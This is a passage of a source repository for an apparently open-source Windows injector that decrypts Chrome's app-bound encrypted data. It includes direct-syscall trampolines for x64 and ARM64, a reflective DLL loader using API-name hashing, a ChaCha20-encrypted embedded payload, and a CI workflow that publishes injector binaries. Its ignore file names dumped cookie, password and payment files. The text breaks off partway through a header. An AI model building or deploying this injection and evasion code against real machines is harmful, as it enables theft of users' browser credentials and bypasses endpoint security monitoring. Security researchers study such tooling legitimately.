├── .gitattributes ├── src ├── resource.rc ├── syscalls_obfuscation.cpp ├── encryptor.cpp ├── syscall_trampoline_x64.asm ├── syscall_trampoline_arm64.asm ├── reflective_loader.h ├── syscalls.h ├── syscalls_obfuscation.h ├── reflective_loader.c └── syscalls.cpp ├── .gitignore ├── LICENSE ├── .vscode └── settings.json ├── libs └── chacha │ └── chacha20.h ├── .github └── workflows │ └── build_and_release.yml ├── make.bat ├── CHANGELOG.md ├── README.md └── docs ├── The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md └── RESEARCH.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /src/resource.rc: -------------------------------------------------------------------------------- 1 | // resource.rc 2 | // v0.16.0 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | PAYLOAD_DLL RCDATA "chrome_decrypt.enc" 5 | -------------------------------------------------------------------------------- /src/syscalls_obfuscation.cpp: -------------------------------------------------------------------------------- 1 | // syscalls_obfuscation.cpp 2 | // v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | #include "syscalls_obfuscation.h" 6 | 7 | namespace SyscallObfuscation 8 | { 9 | SyscallObfuscator *g_Obfuscator = nullptr; 10 | } 11 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Build artifacts 2 | *.obj 3 | *.dll 4 | *.exe 5 | *.lib 6 | *.pdb 7 | *.ilk 8 | *.exp 9 | output/ 10 | src/*.obj 11 | src/*.dll 12 | src/*.exe 13 | src/*.lib 14 | libs/sqlite/*.obj 15 | libs/sqlite/*.lib 16 | 17 | # VS Code 18 | .vscode/ 19 | 20 | # Temp files from DLL 21 | /chrome_decrypt.log 22 | /chrome_appbound_key.txt 23 | /chrome_decrypt_session.cfg 24 | /*_decrypt_cookies.txt 25 | /*_decrypt_passwords.txt 26 | /*_decrypt_payments.txt 27 | /.vscode 28 | /build 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Alexander 'xaitax' Hagenah 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/encryptor.cpp: -------------------------------------------------------------------------------- 1 | // encryptor.cpp 2 | // v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | // Define the implementation flag BEFORE including the header 6 | #define CHACHA20_IMPLEMENTATION 7 | #include "..\libs\chacha\chacha20.h" 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | // A 256-bit (32-byte) key. 15 | static const uint8_t aKey[32] = { 16 | 0x1B, 0x27, 0x55, 0x64, 0x73, 0x8B, 0x9F, 0x4D, 17 | 0x58, 0x4A, 0x7D, 0x67, 0x8C, 0x79, 0x77, 0x46, 18 | 0xBE, 0x6B, 0x4E, 0x0C, 0x54, 0x57, 0xCD, 0x95, 19 | 0x18, 0xDE, 0x7E, 0x21, 0x47, 0x66, 0x7C, 0x94}; 20 | 21 | // A 96-bit (12-byte) nonce. 22 | static const uint8_t aNonce[12] = { 23 | 0x4A, 0x51, 0x78, 0x62, 0x8D, 0x2D, 0x4A, 0x54, 24 | 0x88, 0xE5, 0x3C, 0x50}; 25 | 26 | int main(int argc, char *argv[]) 27 | { 28 | if (argc != 3) 29 | { 30 | std::cerr << "Usage: " << argv[0] << " " << std::endl; 31 | return 1; 32 | } 33 | 34 | std::ifstream inFile(argv[1], std::ios::binary); 35 | if (!inFile) 36 | { 37 | std::cerr << "Error opening input file: " << argv[1] << std::endl; 38 | return 1; 39 | } 40 | 41 | std::vector buffer((std::istreambuf_iterator(inFile)), std::istreambuf_iterator()); 42 | inFile.close(); 43 | 44 | // Encrypt the buffer in-place using our new function 45 | chacha20_xor(aKey, aNonce, buffer.data(), buffer.size(), 0); 46 | 47 | std::ofstream outFile(argv[2], std::ios::binary); 48 | if (!outFile) 49 | { 50 | std::cerr << "Error opening output file: " << argv[2] << std::endl; 51 | return 1; 52 | } 53 | 54 | outFile.write(reinterpret_cast(buffer.data()), buffer.size()); 55 | outFile.close(); 56 | 57 | std::cout << "Successfully ChaCha20-encrypted " << argv[1] << " to " << argv[2] << std::endl; 58 | return 0; 59 | } -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "atomic": "cpp", 4 | "bit": "cpp", 5 | "cctype": "cpp", 6 | "charconv": "cpp", 7 | "clocale": "cpp", 8 | "cmath": "cpp", 9 | "compare": "cpp", 10 | "concepts": "cpp", 11 | "cstddef": "cpp", 12 | "cstdint": "cpp", 13 | "cstdio": "cpp", 14 | "cstdlib": "cpp", 15 | "cstring": "cpp", 16 | "ctime": "cpp", 17 | "cwchar": "cpp", 18 | "exception": "cpp", 19 | "format": "cpp", 20 | "fstream": "cpp", 21 | "initializer_list": "cpp", 22 | "iomanip": "cpp", 23 | "ios": "cpp", 24 | "iosfwd": "cpp", 25 | "iostream": "cpp", 26 | "istream": "cpp", 27 | "iterator": "cpp", 28 | "limits": "cpp", 29 | "locale": "cpp", 30 | "memory": "cpp", 31 | "new": "cpp", 32 | "ostream": "cpp", 33 | "sstream": "cpp", 34 | "stdexcept": "cpp", 35 | "streambuf": "cpp", 36 | "string": "cpp", 37 | "system_error": "cpp", 38 | "tuple": "cpp", 39 | "type_traits": "cpp", 40 | "typeinfo": "cpp", 41 | "utility": "cpp", 42 | "vector": "cpp", 43 | "xfacet": "cpp", 44 | "xiosbase": "cpp", 45 | "xlocale": "cpp", 46 | "xlocbuf": "cpp", 47 | "xlocinfo": "cpp", 48 | "xlocmes": "cpp", 49 | "xlocmon": "cpp", 50 | "xlocnum": "cpp", 51 | "xloctime": "cpp", 52 | "xmemory": "cpp", 53 | "xstring": "cpp", 54 | "xtr1common": "cpp", 55 | "xutility": "cpp", 56 | "algorithm": "cpp", 57 | "array": "cpp", 58 | "chrono": "cpp", 59 | "filesystem": "cpp", 60 | "forward_list": "cpp", 61 | "map": "cpp", 62 | "mutex": "cpp", 63 | "optional": "cpp", 64 | "ratio": "cpp", 65 | "stop_token": "cpp", 66 | "thread": "cpp", 67 | "xtree": "cpp", 68 | "list": "cpp", 69 | "unordered_map": "cpp", 70 | "xhash": "cpp", 71 | "cwctype": "cpp", 72 | "functional": "cpp", 73 | "random": "cpp" 74 | } 75 | } -------------------------------------------------------------------------------- /src/syscall_trampoline_x64.asm: -------------------------------------------------------------------------------- 1 | ; syscall_trampoline_x64.asm 2 | ; v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | ; Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | ; 5 | ; ABI-compliant x64 trampoline with unconditional marshalling for max arguments. 6 | ; Allocates sufficient stack to prevent overwrite issues. Uses rep movsq for efficient block copy. 7 | ; Preserves necessary non-volatile registers. Eliminates dynamic loop to reduce complexity and potential errors. 8 | ; Sets SSN before dispatching to gadget. Handles up to 11 syscall arguments safely (copies 8 stack slots, extra as harmless garbage). 9 | 10 | .code 11 | ALIGN 16 12 | PUBLIC SyscallTrampoline 13 | 14 | SyscallTrampoline PROC FRAME 15 | push rbp 16 | mov rbp, rsp 17 | push rbx 18 | push rdi 19 | push rsi 20 | sub rsp, 80h ; Allocate 128 bytes: safe for shadow (0x20) + 8 qwords (0x40) + padding 21 | .ENDPROLOG 22 | 23 | mov rbx, rcx ; Preserve SYSCALL_ENTRY* in rbx (non-volatile) 24 | 25 | ; Marshal register-based arguments (shifted due to extra SYSCALL_ENTRY* parameter) 26 | mov r10, rdx ; Syscall-Arg1 <- C-Arg2 27 | mov rdx, r8 ; Syscall-Arg2 <- C-Arg3 28 | mov r8, r9 ; Syscall-Arg3 <- C-Arg4 29 | mov r9, [rbp+30h] ; Syscall-Arg4 <- C-Arg5 (from caller's stack) 30 | 31 | ; Unconditionally marshal 8 stack arguments (covers max of 7 needed + 1 extra; garbage for fewer is harmless) 32 | lea rsi, [rbp+38h] ; Source: C-Arg6 (Syscall-Arg5 position in caller's stack) 33 | lea rdi, [rsp+20h] ; Destination: Syscall-Arg5 position in local stack 34 | mov rcx, 8 ; Copy 8 qwords (64 bytes) 35 | rep movsq ; Block copy (efficient and modular) 36 | 37 | ; Prepare for kernel transition 38 | movzx eax, word ptr [rbx+12] ; Load SSN into EAX 39 | mov r11, [rbx] ; Load gadget address 40 | 41 | call r11 ; Dispatch to gadget (syscall; ret) 42 | 43 | ; Epilogue: Restore stack and registers 44 | add rsp, 80h 45 | pop rsi 46 | pop rdi 47 | pop rbx 48 | pop rbp 49 | ret 50 | SyscallTrampoline ENDP 51 | END 52 | -------------------------------------------------------------------------------- /src/syscall_trampoline_arm64.asm: -------------------------------------------------------------------------------- 1 | ; syscall_trampoline_arm64.asm 2 | ; v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | ; Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | ; 5 | ; A simple and ABI-compliant ARM64 trampoline. This version preserves callee-saved 6 | ; registers and uses a direct marshalling approach that is proven to work for 7 | ; this project's specific set of required syscalls. 8 | 9 | AREA |.text|, CODE, READONLY, ALIGN=4 10 | EXPORT SyscallTrampoline 11 | 12 | SyscallTrampoline PROC 13 | ; — Prologue: Preserve callee-saved registers — 14 | ; The ARM64 ABI requires that we save any callee-saved registers we use. 15 | ; We use x19 for the SYSCALL_ENTRY* and x30 (the link register) is implicitly used. 16 | stp x19, x30, [sp, #-16]! 17 | 18 | ; — Preserve SYSCALL_ENTRY* pointer — 19 | ; We save it in a preserved register (x19) for use throughout the function. 20 | mov x19, x0 21 | 22 | ; — Allocate stack space for potential syscall stack arguments — 23 | ; This unconditionally allocates space for up to 3 stack arguments (e.g., for 24 | ; NtCreateThreadEx) and ensures the stack remains 16-byte aligned. For functions 25 | ; with fewer arguments, this space is unused but harmless. 26 | sub sp, sp, #32 27 | 28 | ; — Unconditionally marshal C-level stack arguments — 29 | ; The C caller's stack is now at sp + 32(our alloc) + 16(our saved regs). 30 | ldr x10, [sp, #32+16+8] ; Load C-Arg 9 (StackSize) 31 | str x10, [sp, #0] ; Store as Syscall-Arg 9 on our local stack 32 | ldr x10, [sp, #32+16+16] ; Load C-Arg 10 (MaximumStackSize) 33 | str x10, [sp, #8] ; Store as Syscall-Arg 10 34 | ldr x10, [sp, #32+16+24] ; Load C-Arg 11 (AttributeList) 35 | str x10, [sp, #16] ; Store as Syscall-Arg 11 36 | 37 | ; — Marshal C arguments to the ARM64 Syscall Convention — 38 | ; Syscall convention requires arguments in: x0-x7. 39 | mov x0, x1 ; C-Arg2 -> Syscall-Arg1 (x0) 40 | mov x1, x2 ; C-Arg3 -> Syscall-Arg2 (x1) 41 | mov x2, x3 ; C-Arg4 -> Syscall-Arg3 (x2) 42 | mov x3, x4 ; C-Arg5 -> Syscall-Arg4 (x3) 43 | mov x4, x5 ; C-Arg6 -> Syscall-Arg5 (x4) 44 | mov x5, x6 ; C-Arg7 -> Syscall-Arg6 (x5) 45 | mov x6, x7 ; C-Arg8 -> Syscall-Arg7 (x6) 46 | ldr x7, [sp, #32+16] ; C-Arg9 (from caller's stack) -> Syscall-Arg8 (x7) 47 | 48 | ; — Final preparation for kernel transition — 49 | ; Load the Syscall Service Number (SSN) into x8. 50 | ; CRITICAL FIX: The SSN is now at offset 12 in the SYSCALL_ENTRY struct. 51 | ldrh w8, [x19, #12] 52 | 53 | ; Load the gadget pointer for dispatch. 54 | ldr x10, [x19, #0] ; Load pSyscallGadget from SYSCALL_ENTRY (offset 0). 55 | 56 | ; — Dispatch the syscall — 57 | ; Branch with Link to Register. Gadget must contain `svc #imm; ret`. 58 | blr x10 59 | 60 | ; — Epilogue: Cleanly unwind and return to C++ — 61 | ; The NTSTATUS result is already in x0, the correct return register. 62 | add sp, sp, #32 ; Deallocate our local stack space. 63 | ldp x19, x30, [sp], #16 ; Restore preserved registers from the stack. 64 | ret ; Return to the C++ caller. 65 | 66 | ENDP 67 | END 68 | -------------------------------------------------------------------------------- /libs/chacha/chacha20.h: -------------------------------------------------------------------------------- 1 | // libs/chacha/chacha.h 2 | // A public domain, self-contained ChaCha20 implementation. 3 | 4 | #ifndef CHACHA20_H 5 | #define CHACHA20_H 6 | 7 | #include 8 | #include 9 | 10 | #ifdef __cplusplus 11 | extern "C" { 12 | #endif 13 | 14 | // Main ChaCha20 function. Encrypts/decrypts data in place. 15 | void chacha20_block(const uint8_t key[32], const uint8_t nonce[12], uint32_t counter, uint8_t* out); 16 | void chacha20_xor(const uint8_t key[32], const uint8_t nonce[12], uint8_t* data, size_t data_len, uint32_t counter); 17 | 18 | #ifdef __cplusplus 19 | } 20 | #endif 21 | 22 | #endif // CHACHA20_H 23 | 24 | #ifdef CHACHA20_IMPLEMENTATION 25 | 26 | // Internal utility functions 27 | static uint32_t chacha20_load32(const uint8_t *x) { 28 | return (uint32_t)(x[0]) | ((uint32_t)(x[1]) << 8) | ((uint32_t)(x[2]) << 16) | ((uint32_t)(x[3]) << 24); 29 | } 30 | 31 | static void chacha20_store32(uint8_t *x, uint32_t u) { 32 | x[0] = u & 0xff; u >>= 8; 33 | x[1] = u & 0xff; u >>= 8; 34 | x[2] = u & 0xff; u >>= 8; 35 | x[3] = u & 0xff; 36 | } 37 | 38 | static uint32_t chacha20_rotl(uint32_t x, int n) { 39 | return (x << n) | (x >> (32 - n)); 40 | } 41 | 42 | // The ChaCha20 quarter round function 43 | #define CHACHA20_QR(a, b, c, d) \ 44 | a += b; d ^= a; d = chacha20_rotl(d, 16); \ 45 | c += d; b ^= c; b = chacha20_rotl(b, 12); \ 46 | a += b; d ^= a; d = chacha20_rotl(d, 8); \ 47 | c += d; b ^= c; b = chacha20_rotl(b, 7); 48 | 49 | void chacha20_block(const uint8_t key[32], const uint8_t nonce[12], uint32_t counter, uint8_t* out) { 50 | uint32_t x[16]; 51 | uint32_t j[16]; 52 | int i; 53 | 54 | // Constants 55 | x[0] = 0x61707865; 56 | x[1] = 0x3320646e; 57 | x[2] = 0x79622d32; 58 | x[3] = 0x6b206574; 59 | 60 | // Key 61 | x[4] = chacha20_load32(key + 0); 62 | x[5] = chacha20_load32(key + 4); 63 | x[6] = chacha20_load32(key + 8); 64 | x[7] = chacha20_load32(key + 12); 65 | x[8] = chacha20_load32(key + 16); 66 | x[9] = chacha20_load32(key + 20); 67 | x[10] = chacha20_load32(key + 24); 68 | x[11] = chacha20_load32(key + 28); 69 | 70 | // Counter and Nonce 71 | x[12] = counter; 72 | x[13] = chacha20_load32(nonce + 0); 73 | x[14] = chacha20_load32(nonce + 4); 74 | x[15] = chacha20_load32(nonce + 8); 75 | 76 | for (i = 0; i < 16; ++i) j[i] = x[i]; 77 | 78 | for (i = 0; i < 10; ++i) { // 20 rounds = 10 double rounds 79 | CHACHA20_QR(j[0], j[4], j[8], j[12]); 80 | CHACHA20_QR(j[1], j[5], j[9], j[13]); 81 | CHACHA20_QR(j[2], j[6], j[10], j[14]); 82 | CHACHA20_QR(j[3], j[7], j[11], j[15]); 83 | CHACHA20_QR(j[0], j[5], j[10], j[15]); 84 | CHACHA20_QR(j[1], j[6], j[11], j[12]); 85 | CHACHA20_QR(j[2], j[7], j[8], j[13]); 86 | CHACHA20_QR(j[3], j[4], j[9], j[14]); 87 | } 88 | 89 | for (i = 0; i < 16; ++i) x[i] += j[i]; 90 | for (i = 0; i < 16; ++i) chacha20_store32(out + 4 * i, x[i]); 91 | } 92 | 93 | void chacha20_xor(const uint8_t key[32], const uint8_t nonce[12], uint8_t* data, size_t data_len, uint32_t counter) { 94 | uint8_t block[64]; 95 | size_t i; 96 | 97 | for (; data_len >= 64; data_len -= 64, data += 64) { 98 | chacha20_block(key, nonce, counter++, block); 99 | for (i = 0; i < 64; ++i) data[i] ^= block[i]; 100 | } 101 | 102 | if (data_len > 0) { 103 | chacha20_block(key, nonce, counter, block); 104 | for (i = 0; i < data_len; ++i) data[i] ^= block[i]; 105 | } 106 | } 107 | 108 | #endif -------------------------------------------------------------------------------- /.github/workflows/build_and_release.yml: -------------------------------------------------------------------------------- 1 | name: Build and Release Chrome App-Bound Encryption Decryption 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | tags: 8 | - 'v*.*.*' 9 | workflow_dispatch: 10 | 11 | jobs: 12 | build-tool: 13 | name: Build Utility 14 | runs-on: windows-latest 15 | steps: 16 | - name: Checkout repository 17 | uses: actions/checkout@v4 18 | - name: Add MSVC to PATH for x64 19 | uses: ilammy/msvc-dev-cmd@v1 20 | with: 21 | arch: x64 22 | - name: Build the x64 Encryptor Utility 23 | shell: cmd 24 | run: | 25 | call make.bat build_encryptor_only 26 | - name: Upload Encryptor Utility Artifact 27 | uses: actions/upload-artifact@v4 28 | with: 29 | name: build-tool-encryptor 30 | path: build/encryptor.exe 31 | 32 | build: 33 | name: Build for ${{ matrix.architecture }} 34 | runs-on: windows-latest 35 | needs: build-tool 36 | strategy: 37 | fail-fast: false 38 | matrix: 39 | include: 40 | - architecture: x64 41 | msvc_arch: x64 42 | final_name: chromelevator_x64.exe 43 | - architecture: arm64 44 | msvc_arch: x64_arm64 45 | final_name: chromelevator_arm64.exe 46 | steps: 47 | - name: Checkout repository 48 | uses: actions/checkout@v4 49 | - name: Add MSVC to PATH for ${{ matrix.architecture }} 50 | uses: ilammy/msvc-dev-cmd@v1 51 | with: 52 | arch: ${{ matrix.msvc_arch }} 53 | - name: Download the x64 Encryptor Utility 54 | uses: actions/download-artifact@v4 55 | with: 56 | name: build-tool-encryptor 57 | path: build 58 | - name: Run Build Script for Target 59 | shell: cmd 60 | run: | 61 | call make.bat build_target_only 62 | - name: Rename Final Executable for Artifact Upload 63 | shell: cmd 64 | run: | 65 | rename chromelevator.exe ${{ matrix.final_name }} 66 | - name: Upload Final Executable Artifact 67 | uses: actions/upload-artifact@v4 68 | with: 69 | name: injector-binary-${{ matrix.architecture }} 70 | path: ${{ matrix.final_name }} 71 | 72 | create_release: 73 | name: Create GitHub Release 74 | if: startsWith(github.ref, 'refs/tags/v') 75 | needs: build 76 | runs-on: ubuntu-latest 77 | permissions: 78 | contents: write 79 | steps: 80 | - name: Download all injector binaries 81 | uses: actions/download-artifact@v4 82 | with: 83 | path: release_assets 84 | merge-multiple: true 85 | 86 | - name: Create Consolidated ZIP Archive 87 | id: zip_package 88 | shell: bash 89 | run: | 90 | # Sanity check to see the files that are about to be zipped. 91 | echo "Verifying contents of release directory:" 92 | ls -lR release_assets 93 | 94 | VERSION_TAG=${{ github.ref_name }} 95 | ZIP_NAME="chrome-injector-${VERSION_TAG}.zip" 96 | 97 | # This command now works correctly because the directory is flat. 98 | (cd release_assets && zip "../${ZIP_NAME}" *) 99 | 100 | echo "zip_path=${ZIP_NAME}" >> $GITHUB_OUTPUT 101 | 102 | - name: Create Release 103 | uses: softprops/action-gh-release@v2 104 | with: 105 | tag_name: ${{ github.ref_name }} 106 | name: Release ${{ github.ref_name }} 107 | body: | 108 | Automated release for version **${{ github.ref_name }}**. 109 | 110 | The attached `.zip` file contains the final injector executable for all supported architectures. 111 | 112 | **Contents:** 113 | - `chromelevator_x64.exe` 114 | - `chromelevator_arm64.exe` 115 | draft: false 116 | prerelease: false 117 | files: ${{ steps.zip_package.outputs.zip_path }} 118 | fail_on_unmatched_files: true -------------------------------------------------------------------------------- /src/reflective_loader.h: -------------------------------------------------------------------------------- 1 | // reflective_loader.h 2 | // v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | #ifndef REFLECTIVE_LOADER_H 6 | #define REFLECTIVE_LOADER_H 7 | #pragma once 8 | 9 | #define WIN32_LEAN_AND_MEAN 10 | #include 11 | #include 12 | 13 | #if defined(_M_X64) || defined(_M_ARM64) 14 | #define ENVIRONMENT64 15 | #else 16 | #error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)." 17 | #endif 18 | 19 | #if defined(_MSC_VER) 20 | #define DLLEXPORT __declspec(dllexport) 21 | #else 22 | #define DLLEXPORT 23 | #endif 24 | 25 | typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR); 26 | typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR); 27 | typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD); 28 | typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG); 29 | typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID); 30 | 31 | #define HASH_KEY 13 32 | 33 | #define KERNEL32DLL_HASH 0x6A4ABC5B 34 | #define NTDLLDLL_HASH 0x3CFA685D 35 | 36 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 37 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 38 | #define VIRTUALALLOC_HASH 0x91AFCA54 39 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 40 | 41 | typedef struct _UNICODE_STRING_LDR 42 | { 43 | USHORT Length; 44 | USHORT MaximumLength; 45 | PWSTR Buffer; 46 | } UNICODE_STRING_LDR, *PUNICODE_STRING_LDR; 47 | 48 | typedef struct _PEB_LDR_DATA_LDR 49 | { 50 | ULONG Length; 51 | BOOLEAN Initialized; 52 | HANDLE SsHandle; 53 | LIST_ENTRY InLoadOrderModuleList; 54 | LIST_ENTRY InMemoryOrderModuleList; 55 | LIST_ENTRY InInitializationOrderModuleList; 56 | PVOID EntryInProgress; 57 | BOOLEAN ShutdownInProgress; 58 | HANDLE ShutdownThreadId; 59 | } PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR; 60 | 61 | typedef struct _LDR_DATA_TABLE_ENTRY_LDR 62 | { 63 | LIST_ENTRY InLoadOrderLinks; 64 | LIST_ENTRY InMemoryOrderLinks; 65 | LIST_ENTRY InInitializationOrderLinks; 66 | PVOID DllBase; 67 | PVOID EntryPoint; 68 | ULONG SizeOfImage; 69 | UNICODE_STRING_LDR FullDllName; 70 | UNICODE_STRING_LDR BaseDllName; 71 | ULONG Flags; 72 | USHORT LoadCount; 73 | USHORT TlsIndex; 74 | union 75 | { 76 | LIST_ENTRY HashLinks; 77 | struct 78 | { 79 | PVOID SectionPointer; 80 | ULONG CheckSum; 81 | }; 82 | }; 83 | union 84 | { 85 | ULONG TimeDateStamp; 86 | PVOID LoadedImports; 87 | }; 88 | PVOID EntryPointActivationContext; 89 | PVOID PatchInformation; 90 | LIST_ENTRY ForwarderLinks; 91 | LIST_ENTRY ServiceTagLinks; 92 | LIST_ENTRY StaticLinks; 93 | } LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR; 94 | 95 | typedef struct _PEB_LDR 96 | { 97 | BOOLEAN InheritedAddressSpace; 98 | BOOLEAN ReadImageFileExecOptions; 99 | BOOLEAN BeingDebugged; 100 | union 101 | { 102 | BOOLEAN BitField; 103 | struct 104 | { 105 | BOOLEAN ImageUsesLargePages : 1; 106 | BOOLEAN IsProtectedProcess : 1; 107 | BOOLEAN IsImageDynamicallyRelocated : 1; 108 | BOOLEAN SkipPatchingUser32Forwarders : 1; 109 | BOOLEAN IsPackagedProcess : 1; 110 | BOOLEAN IsAppContainer : 1; 111 | BOOLEAN IsProtectedProcessLight : 1; 112 | BOOLEAN IsLongPathAware : 1; 113 | }; 114 | }; 115 | HANDLE Mutant; 116 | PVOID ImageBaseAddress; 117 | PPEB_LDR_DATA_LDR Ldr; 118 | PVOID ProcessParameters; 119 | PVOID SubSystemData; 120 | PVOID ProcessHeap; 121 | PVOID FastPebLock; 122 | PVOID AtlThunkSListPtr; 123 | PVOID IFEOKey; 124 | union 125 | { 126 | ULONG CrossProcessFlags; 127 | struct 128 | { 129 | ULONG ProcessInJob : 1; 130 | ULONG ProcessInitializing : 1; 131 | ULONG ProcessUsingVEH : 1; 132 | ULONG ProcessUsingVCH : 1; 133 | ULONG ProcessUsingFTH : 1; 134 | ULONG ProcessPreviouslyThrottled : 1; 135 | ULONG ProcessCurrentlyThrottled : 1; 136 | ULONG ProcessImagesHotPatched : 1; 137 | ULONG ReservedBits0 : 24; 138 | }; 139 | }; 140 | union 141 | { 142 | PVOID KernelCallbackTable; 143 | PVOID UserSharedInfoPtr; 144 | }; 145 | ULONG SystemReserved; 146 | ULONG AtlThunkSListPtr32; 147 | PVOID ApiSetMap; 148 | ULONG TlsExpansionCounter; 149 | PVOID TlsBitmap; 150 | ULONG TlsBitmapBits[2]; 151 | PVOID ReadOnlySharedMemoryBase; 152 | PVOID SharedData; 153 | PVOID *ReadOnlyStaticServerData; 154 | PVOID AnsiCodePageData; 155 | PVOID OemCodePageData; 156 | PVOID UnicodeCaseTableData; 157 | ULONG NumberOfProcessors; 158 | ULONG NtGlobalFlag; 159 | LARGE_INTEGER CriticalSectionTimeout; 160 | SIZE_T HeapSegmentReserve; 161 | SIZE_T HeapSegmentCommit; 162 | SIZE_T HeapDeCommitTotalFreeThreshold; 163 | SIZE_T HeapDeCommitFreeBlockThreshold; 164 | ULONG NumberOfHeaps; 165 | ULONG MaximumNumberOfHeaps; 166 | PVOID *ProcessHeaps; 167 | PVOID GdiSharedHandleTable; 168 | PVOID ProcessStarterHelper; 169 | ULONG GdiDCAttributeList; 170 | PVOID LoaderLock; 171 | ULONG OSMajorVersion; 172 | ULONG OSMinorVersion; 173 | USHORT OSBuildNumber; 174 | USHORT OSCSDVersion; 175 | ULONG OSPlatformId; 176 | ULONG ImageSubsystem; 177 | ULONG ImageSubsystemMajorVersion; 178 | ULONG ImageSubsystemMinorVersion; 179 | ULONG_PTR ActiveProcessAffinityMask; 180 | ULONG GdiHandleBuffer[60]; 181 | PVOID PostProcessInitRoutine; 182 | PVOID TlsExpansionBitmap; 183 | ULONG TlsExpansionBitmapBits[32]; 184 | ULONG SessionId; 185 | ULARGE_INTEGER AppCompatFlags; 186 | ULARGE_INTEGER AppCompatFlagsUser; 187 | PVOID pShimData; 188 | PVOID AppCompatInfo; 189 | UNICODE_STRING_LDR CSDVersion; 190 | PVOID ActivationContextData; 191 | PVOID ProcessAssemblyStorageMap; 192 | PVOID SystemDefaultActivationContextData; 193 | PVOID SystemAssemblyStorageMap; 194 | SIZE_T MinimumStackCommit; 195 | PVOID SparePointers[2]; 196 | PVOID PatchLoaderData; 197 | PVOID ChpeV2ProcessInfo; 198 | ULONG AppModelFeatureState; 199 | ULONG SpareUlongs[2]; 200 | USHORT ActiveConsoleId; 201 | USHORT AppCompatVersionInfo; 202 | PVOID ExtendedProcessInfo; 203 | } PEB_LDR, *PPEB_LDR; 204 | 205 | typedef struct _IMAGE_RELOC_ENTRY 206 | { 207 | WORD offset : 12; 208 | WORD type : 4; 209 | } IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY; 210 | 211 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter); 212 | 213 | #endif 214 | -------------------------------------------------------------------------------- /src/syscalls.h: -------------------------------------------------------------------------------- 1 | // syscalls.h 2 | // v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | #ifndef SYSCALLS_H 6 | #define SYSCALLS_H 7 | 8 | #include 9 | 10 | #ifndef NTSTATUS 11 | using NTSTATUS = LONG; 12 | #endif 13 | 14 | #ifndef STATUS_BUFFER_TOO_SMALL 15 | #define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L) 16 | #endif 17 | 18 | #ifndef STATUS_BUFFER_OVERFLOW 19 | #define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) 20 | #endif 21 | 22 | #ifndef OBJ_CASE_INSENSITIVE 23 | #define OBJ_CASE_INSENSITIVE 0x00000040L 24 | #endif 25 | 26 | #ifndef REG_SZ 27 | #define REG_SZ 1 28 | #endif 29 | 30 | #ifndef REG_EXPAND_SZ 31 | #define REG_EXPAND_SZ 2 32 | #endif 33 | 34 | struct SYSCALL_ENTRY 35 | { 36 | PVOID pSyscallGadget; 37 | UINT nArgs; 38 | WORD ssn; 39 | }; 40 | 41 | struct SYSCALL_STUBS 42 | { 43 | SYSCALL_ENTRY NtAllocateVirtualMemory; 44 | SYSCALL_ENTRY NtWriteVirtualMemory; 45 | SYSCALL_ENTRY NtReadVirtualMemory; 46 | SYSCALL_ENTRY NtCreateThreadEx; 47 | SYSCALL_ENTRY NtFreeVirtualMemory; 